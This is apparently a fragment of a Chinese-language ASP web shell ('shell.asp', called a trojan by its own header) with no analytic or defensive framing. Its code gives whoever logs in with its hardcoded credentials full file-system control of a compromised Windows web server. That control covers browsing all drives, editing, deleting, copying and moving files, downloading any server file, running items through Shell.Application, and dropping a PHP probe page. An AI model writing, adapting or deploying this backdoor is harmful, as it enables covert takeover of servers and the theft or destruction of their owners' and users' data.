shell.asp

花儿之家asp木马,基本上可以实现向海洋一样的功能

if mid(z1,i,1)="\"then
pw=left(z1,i-1)
exit for
end if
next
pz=right(z1,len(z1)-i)
sa.namespace(z2).copyhere sa.namespace(pw).parsename(pz)
response.write"ok!"
end if
z3=Request("zm")
z4=Request("zn")
if z3<>""and z4<>""then
if right(z4,1)<>"\"then z4=z4&"\"
for i=len(z3) to 1 step -1
if mid(z3,i,1)="\"then
pw=left(z3,i-1)
exit for
end if
next
pv=right(z3,len(z3)-i)
sa.namespace(z4).movehere sa.namespace(pw).parsename(pv)
response.write"ok!"
end if
z5=Request("zo")
z6=Request("zq")
if z5<>""and z6<>""then
if right(z5,1)<>"\"then z5=z5&"\"
sa.namespace(z5).items.item(z6).invokeverb
response.write"ok!"
end if
end sub
sub mz()
zw=Rx
if right(zw,1)<>"/" then zw=Rx&"/"
if Request("ib")="true"then
zv=zw
ib="true"
else
zv=Server.MapPath(zw)
ib=""
end if%><script language=JavaScript>function crfile(ls){if(ls==""){alert("文件名?");}else{window.open("<%=Co%>?id=edit&ib=<%=request("ib")%>&cy=Y&pw=<%=Server.URlEncode(zw)%>"+ls)}}function crdir(ls){if (ls==""){alert("目录名?");}else{window.open("<%=Co%>?id=dir&ib=<%=request("ib")%>&op=cz&pw=<%=Server.URlEncode(zw)%>"+ls)}}</script><script LANGUAGE=VBSCRIPT>ib="<%=request("ib")%>"
sub copyfile(zu)
dz=trim(InputBox(""&Chr(13)&Chr(10)&"源文件："&zu&Chr(13)&Chr(10)&"目的文件:"&Chr(13)&Chr(10)&"许带路径 例c:/或c:\均可"))
if dz=""then
alert"文件名?"
else
window.open"<%=Co%>?id=edit&pw="+zu+"&op=copy&ib=true&dpath="+dz
end If end sub</script><center><TABLE border=1 cellSpacing=1 cellPadding=3 width=768 bgColor=#dddddd><tr><td colspan=4><a href=?id=out title=退出>本文件: <%=server.mappath(Co)%></a></td></tr><TD colspan=4 bgcolor=white>切换盘符：<%For Each thing in fB.Drives
Response.write"<a href=?pw="&thing.DriveLetter&":&ib=true>"&thing.DriveLetter&"盘:</a> "
NEXT%>局域网址：<%=dN%></TD><tr><TD colspan=4><font color=red><%=Request.ServerVariables("REMOTE_ADDR")%>:<%=Request.ServerVariables("REMOTE_PORT")%> [<%=Request.ServerVariables("HTTP_X_FORWARDED_FOR")%>]</font><a href=?id=pan> 磁盘信息 </a><%=now%><a href=?id=FS> <%=zc%> </a>&nbsp;<%if Request("ib")=""then%><a href=<%=Co%>?path=<%=zw%>&php=7> PHP 探针 </a><%end if%></TD></tr><TD colspan=4 bgcolor=white><a href=<%=Co%><%if Request("ib")="true" then%> title=换到相对路径<%else%>?ib=true&pw=<%=zv%> title=换到绝对路径<%end if%>><%if Request("ib")="true" then%>绝<%else%>相<%end if%>对路径 <%=zv%></a> 当前目录:<%=zw%></TD><TR><TD colspan=4><form>
浏览目录: <input type=text name=pw size=90 value=c:><input type=hidden name=ib value=true> <input type=submit value=浏览></TD></form></TR><TR bgColor=white><form><TD colspan=4>建特殊符号目录或文件 #用%23 %用%25 &用%26 +用%2B '用%27 <input type=text name=fn size=44> <input type=button onclick=crfile(fn.value) value=建文件> <input type=button value=建目录 onclick=crdir(fn.value)></TD></form></TR><TR><TD width=210 valign=top rowspan=2><%if fB.FolderExists(zv)then
Set Fc=fB.GetFolder(zv)
Set fg=Fc.SubFolders
fk=left(zw,Abs(len(zw)-(len(Fc.name)+1)))
Response.write"<a href="&Co&"?pw="&Server.URlEncode(fk)&"&ib="&ib&"><b>■↑上级目录</b></a><br>"
For Each x In fg
Response.write"<a href="&Co&"?pw="&Server.URlEncode(zw&x.Name)&"&ib="&ib&">└□ "&x.Name&"</a> <a href="&Co&"?id=dir&pw="&Server.URlEncode(zw&x.Name)&"&op=del&ib="&ib&"&jl="&Server.URlEncode(zw)&" onclick="&chr(34)&"return confirm('删除"&Server.URlEncode(x.Name)&"?')"&chr(34)&">×删除</a><br>"
Next%></TD><TD width=232>&nbsp;文件</TD><TD align=right width=108>属性 大小（字节）</TD><TD align=center width=94>操作</TD></TR><TR><TD colspan=3 valign=top bgColor=WHITE><table width=528 cellspacing=0 cellpadding=2><%Set FEs=Fc.Files
For Each x In FEs
if Request("ib")="true" then
showstring="<a href="&Co&"?id=dc&pw="&Server.URlEncode(zw&x.Name)&" title='"&"类型"&x.type&chr(10)&"时间："&x.DateLastModified&"'target=_blank><b>"&x.Name&"</b></a>"
else
showstring="<a href="&zw&x.Name&" title='"&"类型"&x.type&chr(10)&"时间："&x.DateLastModified&"'target=_blank><b>"&x.Name&"</b></a>"
end if
Response.write"<tr><td width=356 style='border-bottom:1 solid blue'>"&showstring&"</td><td width=80 style='border-bottom:1 solid blue'>"&x.Attributes&" "&x.size&"</a></td><td width=92 style='border-bottom:1 solid blue'><a href="&Co&"?id=edit&pw="&Server.URlEncode(zw&x.Name)&"&ib="&ib&" target=_blank>编辑 </a><a href="&Co&"?id=edit&pw="&Server.URlEncode(zw&x.Name)&"&op=del&ib="&ib&"&jl="&Server.URlEncode(zw)&" onclick="&chr(34)&"return confirm('删除"&Server.URlEncode(x.Name)&"?')"&chr(34)&">删除</a>"
if Request("ib")="true"then Response.write"<a href=# onclick=copyfile('"&Server.URlEncode(zw&x.Name)&"')> 复制</a>"
Response.write"</td></tr>"
Next
end if%></table></TD></TR></TABLE><%end sub
sub pan()
For Each pa in fB.Drives
On Error Resume Next
pa1=pa.AvailableSpace
if pa1/1024/1024<1024 then
pa1=round(pa1/1024/1024*100)/100&" MB"
else
pa1=round(pa1/1024/1024/1024*100)/100&" GB"
end if
pa2=round(pa.TotalSize/1024/1024/1024*100)/100
pa3=pa.DriveType
select case pa3
case 0 pa3="未知"
case 1 pa3="软盘"
case 2 pa3="硬盘"
case 3 pa3="网络"
case 4 pa3="光驱"
case 5 pa3="RAM盘"
end select
Response.write"<a href="&Co&"?pw="&pa.DriveLetter&":&ib=true>"&pa3&" "&pa.DriveLetter&" &nbsp文件系统:"&pa.FileSystem&" &nbsp&nbsp容量&nbsp "&pa2&" GB &nbsp&nbsp可用空间&nbsp"&pa1&" "&pa.IsReady&" "&pa.Path&" "&pa.RootFolder&" "&pa.SerialNumber&"</a><HR>"
next
end sub
sub edit()
pF=Rx
if Request("ib")<>"true"then pF=server.mappath(pF)
if request("op")="del"then
if fB.GetFile(pF)<>fB.GetFile(server.mappath(Co)) then
fB.GetFile(pF).Delete True
end if
Response.redirect Rp
end if
if request("op")="copy"then
dx=Request("dpath")
fB.GetFile(pF).copy dx
Response.write"<SCRIPT>alert('复制"+pF+" 到"+REPLACE(dx,"\","/")+"');window.close()</SCRIPT>"
end if
if request("zt")=""then
if Request("cy")<>"Y"then
Set ZF=fB.OpenTextFile(pF,1,False)
Za=Server.HTMLEncode(ZF.readall)
ZF.Close
end if%><SCRIPT language=JavaScript>var i=0;var ie=(document.all)?1:0;var ns=(document.layers)?1:0;function selectCode(){if(document.pad.zt.value.length>0){document.pad.zt.focus();document.pad.zt.select();}else alert('内容?')}function preview(){if(document.pad.zt.value.length>0){pr=window.open("","Preview","scrollbars=1,menubar=1,status=1,width=700,height=320,left=50,top=110");pr.document.write(document.pad.zt.value);}else alert('预览内容?')}function uncompile(){if (document.pad.zt.value.length>0){source=unescape(document.pad.zt.value);document.pad.zt.value=""+source+"";i++;alert("解密"+i+"次!");}else alert('内容?')}</SCRIPT><form method=post name=pad action="<%=Co%>?id=edit"><input type=hidden name=ib value="<%=Request("ib")%>"><CENTER><TD>编辑文件名：<input type=text name=pw value="<%=Rx%>"></TD><BR><TD><textarea rows=30 cols=100% name=zt><%=Za%></textarea></TD><BR><TD><input type=submit value=提交> <INPUT onclick=selectCode() type=button value=全选>
<INPUT onclick=preview() type=button value=预览> <INPUT onclick=uncompile() type=button value=JAVA解密> <INPUT type=reset value=重置></TD></form><%else
fB.CreateTextFile(pF).Write Request("zt")
Response.write"<SCRIPT>alert('完成："+Rx+"');window.close()</SCRIPT>"
end if end sub
end if
sub dir()
zp=Rx
if Request("ib")<>"true"then zp=server.mappath(zp)
if request("op")="del"then
fB.DeleteFolder zp,True
Response.redirect Rp
end if
if request("op")="cz"then
fB.CreateFolder zp
Response.write"<SCRIPT>alert('建目录:"&REPLACE(zp,"\","/")&"');window.close()</SCRIPT>"
end if end sub
function ZD()
zr=REPLACE(Trim(Request("pw")),"/","\")
Set s=Server.CreateObject("ADODB.Stream")
s.Open
s.Type=1
s.LoadFromFile(zr)
for i=len(zr) to 1 step -1
if mid(zr,i,1)="\"then exit for
next
ny=right(zr,len(zr)-i)
Response.Clear
Response.AddHeader"Content-Disposition","attachment;filename="&ny
Response.CharSet="UTF-8"
Response.ContentType="application/octet-stream"
Response.BinaryWrite s.Read
s.Close
Set s=nothing
End Function
function out()
Session.Abandon
response.redirect Co
End Function
if request("php")=7 then
Response.Expires=1
fB.CreateTextFile(server.mappath("lp.php")).Write"<center>PHP探针<input type=button value=关闭(ALT+X) onClick='JavaScript:self.close()' accesskey='X'><br><? phpinfo(); //遗憾:此服务器不支持PHP ?>"
Response.write"<script>window.open('lp.php')</script>"
Response.Flush
for i=1 to 3800000
ys=9+9
next
fB.GetFile(server.mappath("lp.php")).Delete True
end if 
else
randomize timer
rj=int(rnd*8998)+1000%><center><%=zc%><script language=javascript>function check(){var mj=document.adm;if(mj.az.value.length<=0){alert("哼名？");mj.az.focus();return false;}if(mj.aw.value.length<=0){alert("哼码？");mj.aw.focus();return false;}if(mj.rz.value.length<=0){alert("恩哼码？");mj.rz.focus();return false;}var n2=mj.rz1.value;if(mj.rz.value!=n2){window.alert('恩哼码: '+n2+'');mj.rz.focus();return false;}}</script><%if request("az")<>""and request("az")<>"cnhongker"then response.write"哼名?"
if request("aw")<>""and request("aw")<>"cnhongker"then response.write"哼码?"
if request("az")="heiker8"and request("aw")="supervisor"then
session("lZ")="lk"
response.redirect Co
else
Session(Co)=Session(Co)+1
if Session(Co)=4 then response.redirect"http://"&Request.ServerVariables("SERVER_NAME")&""
if Session(Co)>4 then response.write"<script>self.window()</script>"%><form name=adm onsubmit="return check()">名字: <input type=password name=az><br>密码: <input type=password name=aw><input type=hidden name=rz1 value=<%=rj%>><BR>认证: <input type=password name=rz size=14> <%=rj%><br>会话ID:<%=Session.SessionID%> <input type=submit value=登录> <%=Session(Co)%> 次<p>
	http://www.heiker8.tk/</p>
	<p><font color="#FF0000">警告：非樱花飞舞 或者 紫色水晶 其他人到了这一页马上离开！</font></p>
</form><%=zz%><%end if end if%>